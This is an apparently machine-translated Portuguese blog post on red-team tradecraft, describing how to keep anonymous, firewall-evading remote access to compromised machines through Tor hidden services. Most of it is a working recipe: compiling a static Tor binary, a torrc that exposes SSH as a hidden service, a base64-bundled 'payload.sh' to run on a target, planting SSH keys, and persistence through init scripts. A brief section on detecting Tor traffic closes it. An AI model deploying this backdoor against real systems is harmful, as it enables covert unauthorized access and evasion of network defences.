Hackear usando Tor para Evasion Firewall e Anonymous acesso remoto



Resumo

Neste post eu vou estar deixando cair uma ferramenta e um conjunto de técnicas que as equipes vermelhas podem ser utilizadas para manter, acesso secreta anônimo para máquinas comprometidas. Eu também vou apresentar alguns conselhos para os defensores olhando para detectar e responder a esses tipos de ataques.

Motivação

Em acoplamentos de alto nível contra os clientes com programas de segurança maduros, recebendo ruínas capturados dia de todos. Quando os endereços IP que você usa para manter o acesso remoto são descobertos e bloqueado, se você não estiver pronto você vai ser plana em seu rosto e volta à estaca zero. Dependendo de como brincalhão seu adversário é, eles podem até mesmo tentar descobrir quem é dono desses endereços IP; atribuição de volta para sua equipe seria apenas embaraçoso.
Digite Tor - uma solução simples, mas eloquente. A rede Tor podem ser aproveitados para manter o acesso aos hosts comprometidos. O que isso significa na prática?
  • Anonymous, un-imputável, o tráfego de acesso remoto
  • Constantemente mudando endereços IP para que o tráfego não é trivialmente bloqueada ao nível da rede
  • Protocolo ofuscação usando Tor Pontes e plugáveis ​​Transportes evadir a inspeção de protocolo
  • Suporte a proxy
  • Conchas Seguros que não expõem os clientes a riscos desnecessários
  • A capacidade de usar uma máquina comprometida como um pivô para outros hosts internos

Como faz este trabalho mágico?

A configuração é realmente surpreendentemente simples!
Antes de entrar em detalhes, vamos rever alguns conceitos Tor para aqueles que não estão familiarizados.

Tor 101 - Pontes e Diretório

Vamos começar com o seguinte diagrama, descaradamente emprestado do FEP e cortado para os nossos propósitos:
htw1
Vamos fingir que Alice está na sua rede corporativa e quer se conectar ao Tor para que ela possa conversar com sua avó doente no Facebook. Infelizmente a sua corporação do mal tem uma política de "compaixão" que não vai permitir isso. Sendo uma neta responsável com uma raia levemente rebelde, Alice traz o cliente Tor para trabalhar em uma chave USB.
A primeira coisa que o cliente Tor de Alice precisa fazer é obter uma lista de relés Tor - outros computadores que executam o Tor que vai aceitar e retransmitir o tráfego criptografado dentro da rede. Por padrão isso é feito através da ligação a um dos Tor "Servidores de diretório" 9 ou menos.
Nem um a ser enganados "o homem", Alice vez disso, usa um Tor "Bridge". A ponte vai atuar como o primeiro passo entre Alice eo resto da rede Tor. Bridges suportar o protocolo de ofuscação através de "transportes" pluggable, o tráfego é mascarado para que ele não é facilmente impressões digitais como Tor. Além disso, não existe uma lista pública de pontes está disponível, eles só podem ser obtidos um pouco de cada vez para evitar a criação de listas negras.

Serviços escondidos e acesso à Internet - Tor 102

Agora que Alice pode conversar com alguns relés Tor, vamos supor que ela tenta acessar o servidor web de Bob na Internet regular. O diagrama a seguir mostra como isso ficaria:
htw2
Tor tem outro conceito muito importante chamada de "Serviço escondido". Serviços ocultos aceitar tráfego de entrada da rede Tor em uma porta TCP local e retransmiti-lo para outro host e porta especificada no arquivo de configuração Tor - tal como um túnel SSH! Isto é interessante porque a porta de escuta para conexões de entrada através da rede Tor podem ser a proteção do firewall da Internet regular. Tudo passa pela conexão Tor.
Estes serviços ocultos são endereçáveis ​​em endereços ".onion" por qualquer pessoa ligada a Tor. Cada serviço oculto tem uma chave privada RSA aleatória para criptografar toda a comunicação. Um hash parcial da chave pública correspondente é o que é utilizado para o endereço ".onion", para que eles costumam ser algo como isto "ab88t3k7eqe66noe.onion".
Todo o tráfego entre um cliente Tor e um serviço oculto Tor é criptografado ponta a ponta, nunca deixando a rede Tor. A mecânica detalhadas de como conexões com serviços ocultos são iniciados e retransmitido pode ser encontrada aqui. Uma coisa importante a notar é que o nome do serviço escondido serão anunciados a um punhado de nós na rede Tor. Isto é necessário para conexões de ser possível, mas significa que o serviço oculto não é 100% escondido.

Por que é que nada disto importa?

Porque a rede Tor, serviços especificamente escondidas são um sonho atacantes! Considere girando um serviço oculto que encaminha as conexões do Tor de entrada na porta TCP "2222", para o ouvinte SSH na máquina comprometida na porta TCP "22".
Neste caso, poderíamos ligar para a nossa máquina comprometida, fazendo o seguinte:
  • ssh -i / path / to / chave -p2222 someuser@ab88t3k7eqe66noe.onion
Esta ligação será anônima retransmitida através da rede Tor, ignorando as regras de firewall e, potencialmente, até mesmo proxies e inspeção de conteúdo.
Usando o acima com um túnel SSH, podemos fazer todos os tipos de grandes coisas, pivotante, expedição, etc.
Em uma máquina Windows, algo semelhante poderia ser feito abrindo a porta SMB 445 ou porta RDP 3389 à rede Tor.

Ofensa: "Mostre-me o código!"

A beleza deste, é que há muito pouco código personalizado necessário, a equipe de desenvolvimento Tor já fez o trabalho pesado. O que você precisa fazer é chegar em suas mãos um binário compilado estaticamente Tor para sua plataforma de destino, e configurar os arquivos de configuração adequados. Outro bom "ter" é o de agregar tudo em um shell script que você pode fazer o upload para um alvo e correr com nenhuma interação adicional. Nós vamos cobrir todas essas coisas nesta seção.

Binários Estáticos para Dummies

Um binário estático tem todas as bibliotecas apropriadas empacotados dentro dele, tornando-o adequado para implantação de plataforma cruzada. Isto significa que um binário estaticamente você compilar em um x64 máquina Ubuntu será executado em uma máquina x64 RedHat.
Estaticamente compilar Tor no Linux, infelizmente, parece apenas semi-suportado. As bandeiras de compilação para realizá-lo não parecem funcionar, pelo menos em sistemas baseados em Debian. Então, apertem os cintos e se prepare para uma lição de depuração de saída GCC!
Nós vamos fazer isso em uma nova compilação de Kali 2.0. O primeiro passo para compilar Tor é baixar e extrair a fonte e instalar as dependências necessárias:
1
2
3
4
wget https://www.torproject.org/dist/tor-0.2.6.10.tar.gz
tar xzvf tor-0.2.6.10.tar.gz
cd tor-0.2.6.10
apt-get install libssl-dev libevent-dev zlib1g-dev
Em seguida é preciso executar o script configure. Aqui é onde as coisas cabeludas. Em um mundo perfeito, poderíamos simplesmente digite o seguinte comando para preparar o Tor para ser construído estaticamente, você pode tentar este comprar sua milhagem pode variar:
1
2
3
4
./configure --enable-static-tor \
--with-libevent-dir=/usr/lib/x86_64-linux-gnu/ \
--with-openssl-dir=/usr/lib/x86_64-linux-gnu/ \
--with-zlib-dir=/usr/lib/x86_64-linux-gnu/
Apesar dos meus melhores esforços e muitas variações sobre o que precede, consitently produziu o erro:
1
2
3
checking for openssl directory... configure: WARNING: Could not find a linkable openssl. If you have it installed somewhere unusual, you can specify an explicit path using --with-openssl-dir
configure: WARNING: On Debian, you can install openssl using "apt-get install libssl-dev"
configure: error: Missing libraries; unable to proceed.
Vamos tentar outra coisa. Em vez de todas essas opções extravagantes, vamos construir Tor normalmente, executando os seguintes comandos em série:
1
2
./configure
make
Agora vamos verificar o binário Tor que acabou de ser construído por nós usando o comando "ldd" ". "Ldd" vai nos dizer quais bibliotecas compartilhadas estão sendo carregados pelo binário, para um binário estático não deve haver nenhum.
1
2
3
4
5
6
7
8
9
10
11
12
13
cd src/or
ldd tor
 
linux-vdso.so.1 (0x00007ffe02d00000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fd6982c3000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd697fc2000)
libevent-2.0.so.5 => /usr/lib/x86_64-linux-gnu/libevent-2.0.so.5 (0x00007fd697d7a000)
libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007fd697b1a000)
libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007fd69771f000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd697502000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd6972fe000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd696f55000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd6988b7000)
Ouch - tantas bibliotecas dinâmicas. Então, por que nós construímos este binário dinâmico inútil você pergunta? Bem, porque mais do que apenas o binário Tor foi construído no processo. Running "fazer" também construiu todas as bibliotecas que precisa para construir um binário estático manualmente! Desde a tortura ainda é ilegal na maior parte da América do Norte, eu não vou ficar muito fundo nos detalhes, mas aqui é o comando "gcc" para fazer exatamente isso (nota, este deve ser executado a partir do src / ou diretório):
1
gcc -O2 -static -Wall -fno-strict-aliasing -L/usr/lib/x86_64-linux-gnu/  -o tor tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a ../common/libcurve25519_donna.a ../common/libor-event.a /usr/lib/x86_64-linux-gnu/libz.a -lm /usr/lib/x86_64-linux-gnu/libevent.a -lrt /usr/lib/x86_64-linux-gnu/libssl.a /usr/lib/x86_64-linux-gnu/libcrypto.a  -lpthread -ldl
Isso vai cuspir uma bagunça de avisos que podem ser relativamente ignorada com segurança (eu gosto de viver perigosamente).
Basicamente, a bandeira "-static" diz gcc para construir um binário estático. Os "-l" bandeira aponta para o local onde temos libssl-dev, libz, e libevent instalado, Debian coloca em "/ usr / lib / x86_64-linux-gnu /". A bandeira "-o" especifica o nome do arquivo de saída, e todos os arquivos ".a" estão ligados entre si para criá-lo. O mesmo comando pode ser usado para construir um binário i386, basta atualizar os caminhos.
Se corremos "ldd" contra o novo binário:
1
2
ldd tor
not a dynamic executable
Isso significa que ele funcionou!

Configurando Tor

Tor é configurado em tempo de execução, apontando para um arquivo de configuração, geralmente chamado de "torrc". Um exemplo torrc arquivo é mostrado abaixo, abra seu editor de texto favorito e cole o seguinte em:
1
2
3
4
5
6
7
8
Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515
Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834
Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589
UseBridges 1
SocksPort 9050
SocksListenAddress 127.0.0.1
HiddenServiceDir ./.hs/
HiddenServicePort 2222 127.0.0.1:22
Temos o "Bridges" acima de bridges.torproject.org. Você provavelmente deve ter o seu próprio e substituí-los. Observe que, se existem portas específicas TCP permitidas de saída em seu ambiente, você deve encontrar uma ponte em execução nessas portas. No exemplo acima, encontramos uma execução no TCP 443, comumente permitido sair.
Isso é tudo que você precisa fazer. As duas linhas "HiddenService" são tudo que é necessário para configurar o Tor para hospedar o serviço escondido. Para girar o nosso novo serviço oculto para o teste, basta executar o seguinte:
1
./tor -f /path/to/torrc
Um novo diretório será criado chamado ".hs", em que diretório será um arquivo chamado "hostname". Se você olhar para o conteúdo deste arquivo, você verá o endereço ".onion", onde você pode acessar o seu serviço oculto.
1
2
cat ./hs/hostname
ab88t3k7eqe66noe.onion
Supondo que o serviço de SSH está em execução na máquina, que deve ser capaz de se conectar a ele a partir de outro computador através da rede Tor como segue:
1
ssh -p2222 user@ab88t3k7eqe66noe.onion
O comando acima requer que você realmente tem uma máquina conectada à rede Tor que está a encaminhar corretamente todo o tráfego TCP através do Tor. A maneira mais fácil de fazer isso é para executar uma máquina virtual que tenha pré-configurado isso para você, como Tails ou Whonix. Eu recomendo Whonix se você planeja usar este mais do que algumas vezes, uma vez que é Tails "amnésico" por design (não gosta de manter as informações). Ambos são muito fácil de configurar, por isso não vamos entrar em detalhes.

Criando um Payload

Vamos criar uma carga legal que agrupa essa coisa toda em um script bash.
Primeiro vamos copiar o "tor" arquivo binário e nosso arquivo "torrc" para um novo diretório:
1
2
3
mkdir ~/payload
cp tor torrc ~/payload
cd ~/payload
Há mais um componente para esta carga útil que vamos precisar que não é fornecido com Tor. Infelizmente Tor requer que o sistema de executá-lo a ter um relógio preciso. Uma maneira de resolver isso é usando cabeçalhos HTTP a partir de sites bem conhecidos. Quando você faz uma solicitação HTTP para um servidor web, alguns servidores web estão configurados para retornar o tempo atual em sua resposta. Podemos tentar sincronizar o relógio do sistema para este tempo (requer raiz normalmente). Isso tudo é automatizado por um script perl que alguém escreveu, então vamos usar isso.
1
2
3
wget http://www.rkeene.org/devel/htp/mirror/archive/perl/htp-0.9.3.tar.gz
tar xzvf htp-0.9.3.tar.gz
cp htp-0.9.3/sbin/htpdate-light .
Agora, se nós executar sudo ./htpdate-light google.com nosso tempo sistema irá sincronizar com o servidor HTTP do Google.
Agora que isso está fora do caminho, vamos agrupar-se nossos binários em um arquivo compactado para reduzir o tamanho da carga útil
1
tar cvzf binaries.tar.gz tor htpdate-light
Agora vamos criar o nosso script shell de carga útil, nós estamos indo para base64 codificar o arquivo tar em uma variável no novo script "payload.sh":
1
2
3
echo '#!/bin/sh' > payload.sh
echo -n 'torbin=' >> payload.sh
cat binaries.tar.gz | base64 -w 0 >> payload.sh
Agora abra "payload.sh" em seu editor de texto favorito e cole o restante do script em abaixo da primeira linha com todo o material base 64:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo $torbin | base64 -d > binaries.tar.gz
tar xzvf binaries.tar.gz
rm binaries.tar.gz
chmod +x tor
echo '
Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515
Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834
Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589
UseBridges 1
SocksPort 9050
SocksListenAddress 127.0.0.1
HiddenServiceDir ./.hs/
HiddenServicePort 2222 127.0.0.1:22
' > ./torrc
perl ./htpdate-light google.com
./tor -f ./torrc
Eu não recomendo correr "payload.sh" a partir do diretório atual, que vai substituir os seus outros arquivos binários, copie-o para / tmp / se você quiser testá-lo. Se você copiar o arquivo "payload.sh" para um alvo máquina Linux e executar
1
bash payload.sh
Deve-fogo até o serviço oculto Tor e vinculá-lo ao ouvinte SSH. Nós só precisamos copiar o nome de host que é gerada em ./.hs/hostname e conectar através do ssh. Também pode ser necessário adicionar uma chave ssh para ~/.ssh/authorized_keys se você não souber a senha do usuário que você deseja conectar.

Indo Persistent

Se você quer esta ao fogo até na inicialização e você tem acesso root na máquina, a maneira mais fácil é simplesmente modificar um script de inicialização existente, geralmente em "/etc/init.d". Idealmente, você deve copiar os binários e arquivos de configuração para o Tor para algum lugar discreto, e, em seguida, modificar o script "init" para que Tor é executado quando o sistema é inicializado.

Fugindo Protocolo de Inspeção e alavancar Proxies

Esperemos que o acima de tudo se apaga sem um engate e você não precisa esta seção porque não vai ajudar muito :). Pontes Tor pode ser configurado com ofuscação e "transportes conectáveis" para fazer o olhar tráfego como algo que não é. Há também opções que podem ser configuradas no arquivo "torrc" para empurrar o tráfego através de um servidor proxy. Em um post de acompanhamento que pode entrar em algum detalhe sobre como configurar isso, mas este post já está se tornando muito longo.

Defesa: "Isso é péssimo :("

Infelizmente, este tipo de ataque é difícil de bloquear no nível de rede - é por isso que nós usá-lo. Usando transportes plugáveis ​​e / ou pontes Tor, um atacante pode ofuscar o tráfego para que ele apareça como HTTP ou HTTPS regulares, e pode até mesmo dirigi-lo através de seu proxy corporativa usando algumas opções no arquivo "torrc". Essa dificuldade ocorre por predefinição, as pessoas que constroem Tor fornecer esses recursos para impedir a detecção e censura.
O primeiro passo é o de assegurar que o tráfego TCP de saída está a ser adequadamente filtrada. Quaisquer "exceções", onde uma determinada porta de saída é permitido através do firewall são trivial para um atacante para encontrar. Todo o tráfego de saída deve ser forçado através do proxy corporativo.
Inspeção de pacotes no proxy vai parar tentativas ingênuas a esse tipo de ataque. Alertando deve ser configurado em conexões do Tor detectados - isto é algo que você quer sair da cama às 01:00 para. Uma conexão Tor é de 100% do tempo vai ser alguém tentando fazer algo que você não quer que eles também.
Postagem mais recente Postagem mais antiga Página inicial

Populares

Recente

Software Avançado De Investigação Forense Móvel

O MOBILedit Forensics é um software forense avançado para telefones, que  extrai  e  analisa profundamente o conteúdo do telefone,  incluind...